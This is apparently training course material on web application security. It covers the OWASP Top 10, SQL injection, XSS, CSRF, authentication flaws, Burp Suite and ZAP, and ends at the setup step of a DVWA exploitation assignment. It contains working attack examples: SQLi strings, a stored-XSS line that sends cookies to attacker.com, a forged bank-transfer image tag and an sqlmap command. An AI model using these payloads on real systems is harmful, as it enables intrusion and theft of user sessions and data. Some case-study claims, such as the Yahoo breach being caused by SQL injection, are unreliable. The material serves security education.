ISDM (INDEPENDENT SKILL DEVELOPMENT MISSION

◇ OWASP TOP 10 SECURITY VULNERABILITIES

📌 CHAPTER 1: INTRODUCTION TO OWASP & SECURITY VULNERABILITIES

🔹 1.1 What is OWASP?

The **Open Web Application Security Project (OWASP)** is a non-profit organization focused on improving software security. The **OWASP Top 10** is a globally recognized list of the most critical security risks affecting web applications.

📌 Why is the OWASP Top 10 Important?

✓ Helps developers and security teams **identify and mitigate vulnerabilities**.
✓ Used as a **standard for penetration testing** and security assessments.
✓ Adopted by organizations worldwide to **improve application security**.

🔹 **Example:** A company developing a web application follows the **OWASP Top 10 guidelines** to prevent security flaws.

📌 Chapter 2: OWASP Top 10 Security Vulnerabilities

🔸 2.1 A01 – Broken Access Control

✓ **Occurs when users gain unauthorized access to resources.**
✓ **Can lead to:** Privilege escalation, data leaks, and unauthorized actions.

📌 **Example:**
🔹 A normal user **modifies a URL** from example.com/user/profile to example.com/admin/panel and **gains admin access**.

✓ **Prevention:**
✅ Implement **role-based access control (RBAC)**.
✅ Use **server-side authentication** and **session validation**.
✅ **Deny access by default** unless explicitly granted.

🔸 2.2 A02 – Cryptographic Failures (Sensitive Data Exposure)

✓ **Occurs when sensitive data (passwords, credit cards) is not properly protected.**
✓ **Can lead to:** Data leaks, identity theft, and compliance violations.

📌 **Example:**
🔹 A website **stores user passwords in plaintext**, making them readable if the database is leaked.

✓ **Prevention:**
✅ Use **strong encryption (AES-256, TLS 1.2/1.3)**.
✅ **Never store passwords in plaintext**, use **bcrypt or Argon2**.
✅ Enable **HSTS (HTTP Strict Transport Security)** to enforce HTTPS.

🔸 2.3 A03 – Injection Attacks (SQL, NoSQL, Command Injection)

✓ Occurs when untrusted input is directly executed in a query or command.
✓ Can lead to: Data breaches, system control, and database manipulation.

📌 **Example:** SQL Injection

- 🔹 A login form allows input like:

```
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password'
```

- 🔹 If input is not sanitized, attackers can **bypass authentication**.

✓ Prevention:

✅ Use **prepared statements & parameterized queries**.
✅ Implement **input validation & whitelisting**.
✅ **Escape special characters** in database queries.

🔸 2.4 A04 – Insecure Design

✓ Occurs due to poor security architecture in software development.
✓ Can lead to: Business logic vulnerabilities, data manipulation, and insecure authentication flows.

📌 **Example:**

- 🔹 A banking application allows **fund transfers without verifying the sender's identity**.

✓ **Prevention:**

✅ Implement **secure development lifecycle (SDLC)** practices.

✅ **Perform threat modeling** to identify risks early.

✅ Use **security frameworks** to enforce secure coding guidelines.

🔸 2.5 A05 – Security Misconfiguration

✓ **Occurs when security settings are not properly configured.**

✓ **Can lead to:** Unauthorized access, system takeovers, and data breaches.

📌 **Example:**

🔹 An application leaves the **default database username/password** (admin/admin), allowing hackers to log in.

✓ **Prevention:**

✅ **Disable unnecessary services & features**.

✅ Regularly **apply security patches & updates**.

✅ Implement **automated security configuration scanning**.

🔸 2.6 A06 – Vulnerable & Outdated Components

✓ **Occurs when applications use outdated software or libraries.**

✓ **Can lead to:** Exploitation of known vulnerabilities.

📌 **Example:**

🔹 A website runs on **an old version of Apache or PHP**, which is vulnerable to attacks.

✓ **Prevention:**

✅ Regularly **update software, frameworks, and plugins**.

✅ Use **dependency management tools** like **OWASP Dependency-Check**.
✅ Monitor **CVE (Common Vulnerabilities and Exposures) databases** for security alerts.

🔹 2.7 A07 – Identification & Authentication Failures

✓ Occurs when authentication mechanisms are weak or improperly implemented.
✓ Can lead to: Credential theft, session hijacking, and unauthorized access.

📌 **Example:**
🔹 A web application allows **brute-force login attempts** without restrictions.

✓ Prevention:
✅ Implement **multi-factor authentication (MFA)**.
✅ **Use secure password hashing** (bcrypt, Argon2).
✅ Enforce **account lockout after multiple failed attempts**.

🔹 2.8 A08 – Software & Data Integrity Failures

✓ Occurs when software updates, CI/CD pipelines, or data handling are not properly secured.
✓ Can lead to: Malware injections, unauthorized modifications, and software supply chain attacks.

📌 **Example:**
🔹 A developer downloads a **third-party library** that contains a hidden **backdoor**.

✓ **Prevention:**

✅ Verify **software integrity** using digital signatures.

✅ Implement **strict CI/CD security controls**.

✅ Use **only trusted repositories and libraries**.

🔸 2.9 A09 – Security Logging & Monitoring Failures

✓ **Occurs when an application does not log security-relevant events properly.**

✓ **Can lead to:** Undetected security breaches and delayed response.

📌 **Example:**

🔹 A hacker brute-forces an admin login, but the system does not log failed attempts.

✓ **Prevention:**

✅ Implement **centralized logging with SIEM tools** (Splunk, ELK, Graylog).

✅ Monitor **suspicious activities and anomalies**.

✅ Set up **alerts for repeated failed login attempts**.

🔸 2.10 A10 – Server-Side Request Forgery (SSRF)

✓ **Occurs when an attacker tricks a web application into making unauthorized requests.**

✓ **Can lead to:** Access to internal services, data exfiltration, and cloud attacks.

📌 **Example:**

🔹 A web application fetches external URLs but **does not validate input,** allowing attackers to **access internal systems**.

✓ **Prevention:**

✅ Implement **input validation** to restrict URLs.

✅ **Use firewalls & network segmentation**.

✅ Disable **unnecessary external HTTP requests** in applications.

📌 Chapter 3: Case Study – Real-World OWASP Top 10 Attacks

🔸 3.1 Case Study: The Equifax Data Breach (2017) – A06 Vulnerable Components

✓ Hackers exploited an **unpatched Apache Struts vulnerability** to access sensitive customer data.

✓ **147 million user records** were leaked, leading to **identity theft**.

📌 **Lessons Learned:**

✓ Always apply **security patches & updates**.

✓ Monitor **third-party components** for vulnerabilities.

📌 Chapter 4: Cybersecurity Best Practices

🔹 **Implement Secure Coding Practices:** Follow OWASP guidelines for secure development.

🔹 **Regular Security Testing:** Perform **penetration testing & vulnerability assessments**.

🔹 **Apply Principle of Least Privilege (PoLP):** Restrict **unnecessary permissions**.

🔹 **Use Security Frameworks:** Apply **OWASP Security Controls** in applications.

🔹 **Enable Web Application Firewalls (WAFs):** Protect against web-based attacks.

📌 Chapter 5: Summary & Next Steps

✅ Key Takeaways

✓ The OWASP Top 10 highlights the most critical web security risks.
✓ Broken Access Control, Injection Attacks, and Cryptographic Failures remain major threats.
✓ Developers and security teams must implement security best practices to mitigate risks.

📌 Next Steps:

🔹 Practice secure coding with OWASP Juice Shop (a vulnerable web app).
🔹 Learn about Web Application Firewalls (WAFs) and penetration testing.
🔹 Follow security advisories to stay updated on the latest threats.

◇ SQL Injection (SQLi) & Cross-Site Scripting (XSS)

📌 Chapter 1: Introduction to SQL Injection (SQLi) & XSS

🔹 1.1 What is SQL Injection (SQLi)?

SQL Injection (SQLi) is a **web security vulnerability** that allows attackers to manipulate **SQL queries** used by applications to interact with databases. If an application fails to properly sanitize user input, attackers can insert **malicious SQL statements** to steal, delete, or modify data.

🖼️ How SQL Injection Works

1. Attacker enters a malicious SQL query into an input field (e.g., login form).
2. The server processes the input without validation.
3. The database executes the attacker's query.
4. The attacker retrieves sensitive data (e.g., usernames, passwords).

📌 Example of SQL Injection Attack:

A vulnerable login query:

```
SELECT * FROM users WHERE username = 'admin' AND password = '12345';
```

An attacker can input:

```
' OR '1'='1
```

Final query executed by the server:

```
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '12345';
```

✓ This returns **all user accounts**, allowing unauthorized access.

🔸 1.2 What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a **client-side attack** where malicious scripts are injected into web pages. When a victim visits the compromised page, the script **executes in their browser**, allowing attackers to steal cookies, session tokens, or redirect users to malicious websites.

🖼️ How XSS Works

1. Attacker injects **malicious JavaScript** into a web application.
2. The web application **displays the script** without validation.
3. When another user accesses the page, the script runs in their browser.
4. The attacker **steals session cookies or performs malicious actions** on behalf of the user.

📌 Example of XSS Attack:

An attacker enters this script into a comment box:

```
<script>alert('You have been hacked!');</script>
```

✓ The script **executes** when another user visits the page.

📌 CHAPTER 2: TYPES OF SQL INJECTION (SQLI)

🔸 2.1 Union-Based SQL Injection

✓ Uses the **UNION** SQL operator to retrieve additional database information.

📌 Example Attack:

' UNION SELECT username, password FROM users; --

✓ Extracts usernames and passwords from the database.

🔸 2.2 Error-Based SQL Injection

✓ Forces the database to return error messages that reveal information.

📌 Example Attack:

' OR 1=1 --

✓ If error messages are enabled, they **reveal database structure**.

🔸 2.3 Blind SQL Injection

✓ No direct database error messages, but true/false responses allow data extraction.

📌 Example Attack:

' AND (SELECT COUNT(*) FROM users) = 1 --

✓ If the website behaves differently, the attacker **extracts information bit by bit**.

📌 Chapter 3: Types of Cross-Site Scripting (XSS)

🔸 3.1 Stored XSS

✓ The **malicious script is permanently stored** on the website (e.g., in a comment section).

📌 **Example Attack:**

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

✓ Every visitor to the page will have their cookies **stolen and sent to the attacker**.

🔸 **3.2 Reflected XSS**

✓ The **malicious script is included in a URL** and executed when a user clicks the link.

📌 **Example Attack:**

http://victim.com/search?q=<script>alert('XSS Attack!');</script>

✓ If the website **does not sanitize input,** the script executes when the user clicks the link.

🔸 **3.3 DOM-Based XSS**

✓ Manipulates the **DOM (Document Object Model)** to execute malicious scripts.

📌 **Example Attack:**

<script>

var url = document.URL;

document.write('<img src="' + url + '">');

</script>

✓ If the URL is modified to inject JavaScript, it **executes in the victim's browser**.

📌 Chapter 4: Detecting SQL Injection & XSS Vulnerabilities

🔹 4.1 Tools for SQL Injection Detection

✓ **SQLmap** – Automated SQL Injection scanner.
✓ **Burp Suite** – Identifies injection points.

🛠 Running SQLmap to Test for SQLi

sqlmap -u "http://target.com/login.php?user=admin" --dbs

📌 Output Example:

[+] Database found: users_db

[+] Extracted data: admin: password123

🔹 4.2 Tools for XSS Detection

✓ **XSS Hunter** – Automated detection of XSS vulnerabilities.
✓ **OWASP ZAP** – Scans for web security flaws.

🛠 Testing for XSS Using Burp Suite

1. Capture a **POST request** using Burp Suite.
2. Modify the input to include **XSS payloads**:

<script>alert('Hacked');</script>

3. Forward the request and check if the script executes.

📌 Chapter 5: Preventing SQL Injection & XSS Attacks

🔹 5.1 Preventing SQL Injection

✓ Use **Prepared Statements (Parameterized Queries).**
✓ Restrict **database permissions** for web applications.
✓ Implement **Web Application Firewalls (WAFs)**.

📌 Secure SQL Query (Using Prepared Statements in PHP):

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");

$stmt->execute([$username, $password]);
```

✓ This **prevents SQL Injection**.

🔹 5.2 Preventing XSS Attacks

✓ Use **HTML escaping** to sanitize input.
✓ Implement **Content Security Policy (CSP).**
✓ Restrict JavaScript execution using **HttpOnly cookies**.

📌 Sanitizing User Input to Prevent XSS in JavaScript:

```
function sanitizeInput(input) {
  return input.replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
```

✓ This **prevents JavaScript execution**.

📌 Chapter 6: Case Study – Real-World SQLi & XSS Attacks

🔸 6.1 Case Study: Yahoo SQL Injection Attack (2014)

✓ **Impact:** 500 million user credentials stolen due to **SQL Injection vulnerabilities**.
✓ **Cause:** Yahoo's login system failed to properly sanitize inputs.

🔹 Prevention Measures:

✓ Implement **prepared statements**.
✓ Regular **database security audits**.

🔸 6.2 Case Study: MySpace XSS Worm (2005)

✓ **Impact:** Millions of MySpace users were infected with a **Stored XSS worm**.
✓ **Cause:** MySpace failed to **filter malicious JavaScript in profile fields**.

🔹 Prevention Measures:

✓ Sanitize user input.
✓ Restrict execution of JavaScript in user-generated content.

📌 Chapter 7: Summary & Next Steps

✅ Key Takeaways

✓ SQL Injection (SQLi) allows attackers to modify database queries and steal sensitive data.
✓ Cross-Site Scripting (XSS) enables malicious JavaScript execution

in a victim's browser.

✓ Web developers must use prepared statements, input validation, and security headers to prevent these attacks.

✓ Security testers use tools like SQLmap and Burp Suite to detect vulnerabilities.

📌 **Next Steps:**

- Practice SQLi & XSS attacks in a controlled environment (TryHackMe, Hack The Box).
- Implement secure coding practices in web applications.
- Stay updated on the latest web security vulnerabilities! 🚀

◇ Cross-Site Request Forgery (CSRF) & Broken Authentication

📌 Chapter 1: Introduction to CSRF & Broken Authentication

🔹 1.1 What are CSRF & Broken Authentication?

Cross-Site Request Forgery (CSRF) and **Broken Authentication** are two critical web security vulnerabilities that attackers exploit to gain unauthorized access to accounts and sensitive data.

📌 Why are CSRF & Broken Authentication Dangerous?

✓ **Compromise user accounts** – Attackers can take unauthorized actions on behalf of a logged-in user.

✓ **Lead to data breaches** – Sensitive data, including financial and personal information, can be stolen.

✓ **Exploit trust in web applications** – Attackers trick users into performing unwanted actions.

📌 Example of a Security Breach Due to CSRF & Broken Authentication:

✓ In 2008, **Gmail was vulnerable to CSRF**, allowing attackers to **change user email settings without permission**.

📌 Chapter 2: Understanding Cross-Site Request Forgery (CSRF)

🔹 2.1 What is CSRF?

A **Cross-Site Request Forgery (CSRF)** attack tricks an authenticated user into executing **unwanted actions** on a web application **without their knowledge**.

📌 **How CSRF Works:**

1. The victim is **logged into a website** (e.g., a banking app).
2. The attacker sends a **malicious request** (via email, social media, or hidden HTML).
3. The victim **clicks the malicious link** while logged in.
4. The request is executed with the **victim's privileges**, performing actions like **transferring money, changing passwords, or deleting accounts**.

📌 **Example of CSRF Attack:**

✓ **Bank Transfer Attack:** An attacker tricks a victim into clicking a fake link that automatically transfers money from their bank account to the attacker's account.

🔸 **2.2 How CSRF Attacks Exploit Web Applications**

🔹 **No CSRF Protection:** Websites without proper security controls are vulnerable.

🔹 **Automatic Session Cookies:** Browsers automatically send authentication cookies, making requests appear valid.

🔹 **User Click Manipulation:** Attackers embed malicious requests in fake buttons, links, or hidden iframes.

📌 **Example of CSRF Attack Code:**

```
<img
src="https://bank.com/transfer?amount=5000&to=attacker_account
" hidden>
```

✓ If a logged-in victim **loads this image,** their bank account transfers money to the attacker **without their consent**.

🔸 2.3 Preventing CSRF Attacks

📌 Security Measures Against CSRF:

✓ **CSRF Tokens:** Generate unique tokens for each user session to validate legitimate requests.

✓ **SameSite Cookies:** Restrict cookies from being sent in cross-site requests.

✓ **User Authentication Measures:** Require re-authentication for sensitive actions (e.g., password change, fund transfer).

✓ **Implementing CAPTCHA:** Prevent automated malicious requests.

📌 Example of CSRF Token Implementation (Django):

```
<form action="/transfer" method="POST">
  <input type="hidden" name="csrfmiddlewaretoken" value="{{ csrf_token }}">
  <input type="submit" value="Transfer Money">
</form>
```

✓ This ensures that requests are legitimate and cannot be forged.

📌 Chapter 3: Understanding Broken Authentication

🔸 3.1 What is Broken Authentication?

Broken Authentication occurs when attackers exploit **weak login mechanisms** to gain unauthorized access to user accounts.

📌 **How Attackers Exploit Broken Authentication:**

🔹 **Weak Passwords:** Users set common passwords like 123456 or password.

🔹 **Credential Stuffing:** Attackers use stolen credentials from other breaches to log in.

🔹 **Session Hijacking:** Attackers steal valid session tokens to impersonate users.

🔹 **Brute Force Attacks:** Repeated login attempts with different passwords to guess credentials.

📌 **Example of Broken Authentication in Action:**

✓ **In 2019, Facebook leaked over 540 million user records,** including passwords stored in plaintext, making them vulnerable to brute force attacks.

🔸 **3.2 Common Broken Authentication Vulnerabilities**

📌 **Types of Authentication Vulnerabilities:**

✓ **No Multi-Factor Authentication (MFA):** Users rely solely on passwords, increasing the risk of compromise.

✓ **Exposed Session IDs:** Attackers steal session tokens to bypass login.

✓ **Improper Session Management:** Users remain logged in indefinitely, allowing attackers to exploit stolen credentials.

✓ **Predictable Password Resets:** Weak recovery mechanisms (e.g., security questions) can be guessed.

📌 **Example of Session Hijacking via Cookies:**

✓ Attackers use **stolen session cookies** to bypass login security and impersonate victims.

🔸 3.3 Preventing Broken Authentication Attacks

📌 Security Measures Against Broken Authentication:

✓ **Enforce Strong Password Policies** – Require complex passwords (e.g., 12+ characters, uppercase, lowercase, numbers, symbols).

✓ **Enable Multi-Factor Authentication (MFA)** – Require an additional security step (e.g., SMS, authentication app).

✓ **Use Secure Session Management** – Implement short-lived session tokens and automatic logout for inactivity.

✓ **Hash Passwords** – Store passwords using hashing algorithms like **bcrypt** or **Argon2** instead of plaintext.

📌 Example of Hashed Password Storage in Python (bcrypt):

```
import bcrypt


password = "securepassword"

hashed_password = bcrypt.hashpw(password.encode(), bcrypt.gensalt())

print(hashed_password)
```

✓ Ensures that even if the database is compromised, passwords cannot be easily recovered.

📌 Chapter 4: Case Study – Yahoo Data Breach (2013-2014)

🔹 What Happened?

✓ **3 billion Yahoo user accounts were compromised** due to weak authentication mechanisms.

✓ Attackers exploited **stolen credentials and weak password**

storage to gain access.

✓ The breach was **undetected for years,** leading to **severe financial and reputation loss**.

🔹 **Lessons Learned:**

✓ Implement **strong password encryption** and **session expiration policies**.

✓ Enforce **MFA and CAPTCHA verification** to prevent brute force attacks.

✓ Regularly **audit authentication mechanisms** to detect vulnerabilities.

📌 Chapter 5: Best Practices for Securing Web Authentication

🔸 5.1 Implement Secure Authentication Controls

✓ **Use Secure Password Storage:** Hash passwords with bcrypt or Argon2.

✓ **Enable MFA:** Require multiple forms of authentication.

✓ **Monitor for Credential Leaks:** Use breach detection services (e.g., Have I Been Pwned API).

✓ **Prevent Brute Force Attacks:** Implement account lockout policies after multiple failed login attempts.

🔸 5.2 Secure Web Applications Against CSRF Attacks

✓ **Use CSRF Tokens:** Ensure all user actions require a valid CSRF token.

✓ **Enable HTTP-Only and SameSite Cookies:** Restrict cross-origin request execution.

✓ **Re-authenticate for Critical Actions:** Require users to confirm identity before performing sensitive tasks.

📌 **Example of MFA Implementation:**

✓ **Google and Microsoft enforce MFA,** significantly reducing successful cyber attacks.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ CSRF attacks trick users into making unintended actions on web applications.

✓ Broken Authentication allows attackers to exploit weak login mechanisms and steal credentials.

✓ Security measures like MFA, hashed passwords, and CSRF tokens prevent exploitation.

✓ Organizations must regularly audit security controls to prevent breaches.

📌 Next Steps:

- Practice CSRF and authentication attacks in a lab environment (TryHackMe, Hack The Box).
- Explore advanced web security techniques (OWASP Top 10, Web Application Firewalls).
- Follow cybersecurity best practices to stay ahead of evolving threats.

◇ Web Penetration Testing with Burp Suite & ZAP Proxy

📌 Chapter 1: Introduction to Web Penetration Testing

🔹 1.1 What is Web Penetration Testing?

Web penetration testing is a cybersecurity practice that involves **evaluating the security of web applications** by simulating real-world attacks. Ethical hackers use specialized tools like **Burp Suite** and **ZAP Proxy** to identify vulnerabilities in web applications.

📌 Objectives of Web Penetration Testing:

✓ Identify security weaknesses in **web applications**.

✓ Exploit vulnerabilities to **understand real-world attack scenarios**.

✓ Provide **recommendations** to fix discovered issues.

📌 Example:

A penetration tester **uses Burp Suite** to intercept HTTP requests and **find SQL injection vulnerabilities** in a web login form.

🔹 1.2 Why Use Burp Suite & ZAP Proxy?

Burp Suite and ZAP Proxy are **industry-standard tools** for testing web application security.

🔹 Burp Suite vs. ZAP Proxy: Key Differences

Feature	Burp Suite	ZAP Proxy
Developed By	PortSwigger	OWASP

Cost	Free (Community) & Paid (Pro)	Open-source & Free
Ease of Use	Advanced Features	Beginner-friendly
Extensibility	Plugins & Extensions	Built-in scripting
Automation	Manual & Automated	Strong automation features

📌 **Example:**
A tester **uses Burp Suite for manual penetration testing** and **ZAP Proxy for automated scanning**.

📌 Chapter 2: Setting Up Burp Suite & ZAP Proxy

🔸 2.1 Installing Burp Suite

Burp Suite is available in **Community (Free) and Professional (Paid) Editions**.

🔹 Steps to Install Burp Suite:

1. Download Burp Suite from **PortSwigger's official website**.
2. Install and run the application.
3. Configure your browser to **use Burp Proxy** for traffic interception.
4. Start testing web applications!

📌 **Example:**
A tester **installs Burp Suite on Kali Linux** and **configures Firefox** to route traffic through Burp's proxy.

🔸 2.2 Installing ZAP Proxy

ZAP (Zed Attack Proxy) is a **free open-source tool developed by OWASP** for web application testing.

🔹 Steps to Install ZAP Proxy:

1. Download ZAP from the **OWASP website**.
2. Install and run the tool.
3. Configure your browser to **use ZAP Proxy**.
4. Start scanning web applications!

📌 **Example:**
A tester **sets up ZAP Proxy** and uses it to **scan a WordPress website for vulnerabilities**.

📌 Chapter 3: Using Burp Suite for Web Application Testing

🔸 3.1 Burp Suite Interface & Features

Burp Suite provides several modules for penetration testing:

- **Target** – Maps out the web application structure.
- **Proxy** – Intercepts and modifies HTTP requests & responses.
- **Intruder** – Automates attacks like **brute force & SQL injection**.
- **Repeater** – Sends **modified requests** to test vulnerabilities.
- **Scanner (Paid)** – Automatically finds web vulnerabilities.

📌 **Example:**
A tester **uses Burp Intruder** to perform **brute force attacks** on a login form.

🔸 3.2 Capturing and Modifying HTTP Requests with Burp Proxy

Burp Proxy allows testers to **intercept and modify web requests in real time**.

🔹 Steps to Intercept Requests:

1. Enable **Burp Proxy** and set browser proxy settings to **127.0.0.1:8080**.
2. Open the **Target Website** in the browser.
3. Capture and modify the **HTTP GET/POST requests**.
4. Send manipulated requests and analyze the responses.

📌 **Example:**
A tester **modifies a login request** in Burp Proxy to **bypass authentication**.

🛡 **Defense Strategies:**
✓ Implement **HTTPS & input validation** to prevent request tampering.
✓ Use **Web Application Firewalls (WAFs)** to detect & block attacks.

🔸 3.3 Automating Attacks with Burp Intruder

Burp Intruder automates **brute-force and injection attacks**.

🔹 Common Uses of Burp Intruder:

✓ **Brute Force Login Attacks** – Tries multiple passwords.
✓ **SQL Injection** – Finds database vulnerabilities.
✓ **Fuzz Testing** – Tests input fields for unexpected responses.

📌 **Example:**
A tester **uses Burp Intruder** to try **1000+ username-password combinations** on a login page.

🛡 **Defense Strategies:**
✓ Implement **account lockout policies** to prevent brute-force attacks.
✓ Use **prepared statements** to mitigate SQL injection risks.

📌 Chapter 4: Using ZAP Proxy for Automated Web Testing

🔸 4.1 ZAP Proxy Interface & Features

ZAP offers **automated security scanning** with:

- **Passive Scanner** – Detects vulnerabilities **without modifying requests**.
- **Active Scanner** – Actively probes for security flaws.
- **Spidering** – Crawls the website to map all endpoints.
- **Fuzzer** – Tests input fields for weaknesses.

📌 **Example:**
A tester **runs ZAP's Active Scanner** on an e-commerce website and finds **Cross-Site Scripting (XSS) vulnerabilities**.

🔸 4.2 Automating Security Scans with ZAP Proxy

🔹 **Steps to Perform an Automated Scan:**

1. Open ZAP Proxy and enter the **target website URL**.
2. Select **Active Scan** mode.
3. Let ZAP identify vulnerabilities like **XSS, SQL injection, CSRF**.
4. Analyze the **generated report**.

📌 **Example:**
A tester **uses ZAP Proxy to automatically scan a banking website** and finds security misconfigurations.

🛡 **Defense Strategies:**
✓ Conduct **regular security audits** using ZAP scans.
✓ Enable **input validation & sanitization** to prevent XSS & SQLi.

📌 Chapter 5: Case Study – Identifying and Exploiting Web Vulnerabilities

🔹 **Scenario:**
A security researcher wants to **test an online shopping website for vulnerabilities**.

🔹 **Steps Taken:**

1. **Used Burp Proxy** to capture and modify login requests.
2. **Ran Burp Intruder** to find weak admin credentials.
3. **Used ZAP Scanner** to detect **Cross-Site Scripting (XSS) vulnerabilities**.
4. **Reported findings to the website owner** for patching.

📌 **Outcome:**

The website **fixed security issues**, preventing future attacks.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ Burp Suite and ZAP Proxy are powerful tools for web penetration testing.

✓ Burp Suite excels in manual testing, while ZAP Proxy is great for automation.

✓ Common vulnerabilities include SQL Injection, XSS, and authentication flaws.

📌 Next Steps:

- Practice web security testing on DVWA & Juice Shop (vulnerable apps).
- Learn advanced Burp Suite features like session handling & extensions.
- Explore real-world bug bounty programs (HackerOne, Bugcrowd).

◇ Securing Web Applications & Preventing Attacks

📌 Chapter 1: Introduction to Web Application Security

🔹 1.1 What is Web Application Security?

Web application security refers to the strategies and measures used to **protect web applications from cyber threats and attacks**. As more businesses rely on web-based services, securing these applications is critical to protect user data, prevent financial losses, and maintain trust.

✓ Web applications are a common target for hackers.
✓ Security vulnerabilities can lead to data breaches, financial fraud, and identity theft.
✓ Preventative measures help secure applications from common attacks.

📌 Example:

- In 2015, the **TalkTalk data breach** exposed **157,000 customer records** due to an **SQL Injection vulnerability** in their web application.

🖼️ Diagram: Key Components of Web Application Security

Security Aspect	Purpose
Authentication	Verifies user identity (e.g., passwords, MFA)
Authorization	Grants permissions based on user roles

Input Validation	Prevents malicious data input (e.g., SQL Injection)
Encryption	Protects data in transit and at rest
Session Management	Ensures secure user sessions

📌 Chapter 2: Common Web Application Attacks

🔸 2.1 OWASP Top 10 Security Vulnerabilities

The **Open Web Application Security Project (OWASP)** maintains a list of the most critical web application security risks.

🔹 **1. SQL Injection (SQLi)** – Attackers inject **malicious SQL queries** to manipulate databases.
📌 **Example:** The **TalkTalk breach (2015)** occurred due to an **unfiltered SQL query**.

🔹 **2. Cross-Site Scripting (XSS)** – Attackers inject **malicious JavaScript** to steal user data.
📌 **Example:** A hacker embeds a malicious script in a website's comment section to steal login cookies.

🔹 **3. Cross-Site Request Forgery (CSRF)** – Forces a user's browser to perform unauthorized actions.
📌 **Example:** An attacker tricks a user into unknowingly submitting a request that changes their account settings.

🔹 **4. Broken Authentication** – Weak login mechanisms allow attackers to bypass authentication.

📌 **Example: Credential stuffing** uses leaked passwords from data breaches to gain access to accounts.

🔹 **5. Security Misconfiguration** – Improperly configured web servers expose sensitive data.

📌 **Example: Exposed admin panels** allow hackers to modify website settings.

🔹 **6. Sensitive Data Exposure** – Websites fail to encrypt or protect private data.

📌 **Example: Unencrypted credit card details** in databases are stolen by attackers.

🔹 **7. Broken Access Control** – Attackers access restricted parts of a website.

📌 **Example:** An attacker manipulates URLs to gain admin privileges.

🔹 **8. Insecure Deserialization** – Malicious code execution via improperly handled serialized data.

🔹 **9. Using Components with Known Vulnerabilities** – Outdated libraries/plugins introduce security flaws.

🔹 **10. Insufficient Logging & Monitoring** – Lack of security monitoring allows unnoticed breaches.

📌 CHAPTER 3: SECURING WEB APPLICATIONS

🔸 3.1 Best Practices for Web Application Security

✓ Implement Strong Authentication Mechanisms

- Use **Multi-Factor Authentication (MFA)** to prevent unauthorized access.
- Enforce **strong password policies** (min. 12 characters, mix of letters, numbers, symbols).
- Limit failed login attempts to prevent **brute-force attacks**.

✓ **Input Validation & Sanitization**

- Always **validate user inputs** before processing them.
- Use **parameterized queries** to prevent SQL Injection.
- Encode outputs to prevent **Cross-Site Scripting (XSS)**.

✓ **Implement Proper Session Management**

- Use **secure cookies** (HttpOnly, Secure, SameSite).
- **Invalidate sessions** after logout or inactivity.
- Implement **token-based authentication** (OAuth, JWT).

✓ **Secure Data Transmission & Storage**

- Use **HTTPS (SSL/TLS encryption)** to secure data in transit.
- Encrypt stored sensitive data using **AES-256**.
- Do not store passwords in plain text; use **bcrypt or Argon2 hashing**.

✓ **Access Control & Role-Based Permissions**

- Implement **least privilege access** – grant users only the necessary permissions.
- Use **role-based access control (RBAC)** for restricting sensitive features.

- Prevent **unauthorized API access** by enforcing authentication.

✓ **Keep Software & Frameworks Updated**

- Regularly update **CMS, plugins, and third-party libraries**.
- Use **web application firewalls (WAF)** to block common attacks.

🖼️ **Diagram: Secure Web Development Practices**

Security Measure	Implementation
MFA & Strong Passwords	Requires users to verify identity with an extra factor
Input Validation	Blocks malicious inputs (e.g., XSS, SQLi)
Session Timeout	Logs out inactive users automatically
Encryption	Protects sensitive data (HTTPS, AES-256)
Role-Based Access Control	Restricts access based on user roles

---

📌 Chapter 4: Security Tools for Web Application Protection

🔸 4.1 Web Application Security Testing Tools

✓ **Burp Suite** – Scans and exploits web application vulnerabilities.
✓ **OWASP ZAP** – Finds security flaws in web apps.
✓ **Nmap** – Scans networks for open ports and vulnerabilities.
✓ **Nikto** – Web server vulnerability scanner.

✓ **Metasploit Framework** – Tests application security with pre-built exploits.

📌 **Example:**
A penetration tester uses **Burp Suite** to identify an **SQL Injection vulnerability** in an e-commerce site's login form.

📌 Chapter 5: Case Study – The Capital One Data Breach (2019)

🔸 5.1 Overview of the Attack

✓ **Capital One suffered a major data breach** exposing **106 million customer records**.
✓ A hacker **exploited a misconfigured web application firewall (WAF)**.
✓ Stolen data included **social security numbers, bank account details, and credit scores**.

🔸 5.2 How the Attack Happened

✓ The attacker **gained unauthorized access to AWS servers** hosting customer data.
✓ A misconfigured **AWS IAM (Identity & Access Management) role** allowed data extraction.
✓ The breach went undetected for months due to **insufficient logging & monitoring**.

📌 **Impact of the Capital One Breach:**
✓ **Millions of customers' sensitive information was exposed.**
✓ **Capital One paid a $80 million fine for weak security controls.**
✓ **The attacker was arrested, but the damage was irreversible.**

🔸 **5.3 Lessons Learned**

✓ Regularly audit cloud security configurations (AWS, Azure, GCP).
✓ Enforce strict access control and least privilege policies.
✓ Implement real-time security monitoring to detect suspicious activity.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ Web application security is crucial to protect sensitive data.
✓ OWASP Top 10 vulnerabilities highlight the most critical security threats.
✓ Best practices include strong authentication, input validation, encryption, and access control.
✓ Security tools like Burp Suite, OWASP ZAP, and Nmap help identify vulnerabilities.
✓ Case studies like Capital One and TalkTalk show the real-world impact of web security failures.

📌 Next Steps:

- **Conduct penetration testing on your web applications.**
- **Learn ethical hacking techniques to understand attack methods.**
- **Stay updated with cybersecurity trends and OWASP recommendations.**

📌 ASSIGNMENT 1:

☑ EXPLOIT A VULNERABLE WEB APPLICATION USING SQL INJECTION.

📌 Solution: Assignment 1 – Exploiting a Vulnerable Web Application Using SQL Injection (SQLi)

🎯 Objective

The objective of this assignment is to **exploit a vulnerable web application** using **SQL Injection (SQLi)**. This involves injecting **malicious SQL queries** into input fields to bypass authentication, retrieve sensitive database records, or modify data.

📌 Step 1: Setting Up a Test Environment

🔸 1.1 Install a Vulnerable Web Application

For safe testing, use **intentionally vulnerable web applications** like:
✓ **Damn Vulnerable Web Application (DVWA)**
✓ **bWAPP (Buggy Web Application)**
✓ **Mutillidae**

🛠️ Install DVWA on a Local Machine (Kali Linux or Windows)

git clone https://github.com/digininja/DVWA.git

cd DVWA

sudo service apache2 start

sudo service mysql start

1. Open a browser and go to http://localhost/DVWA
2. **Login credentials:**

- Username: admin

- Password: password

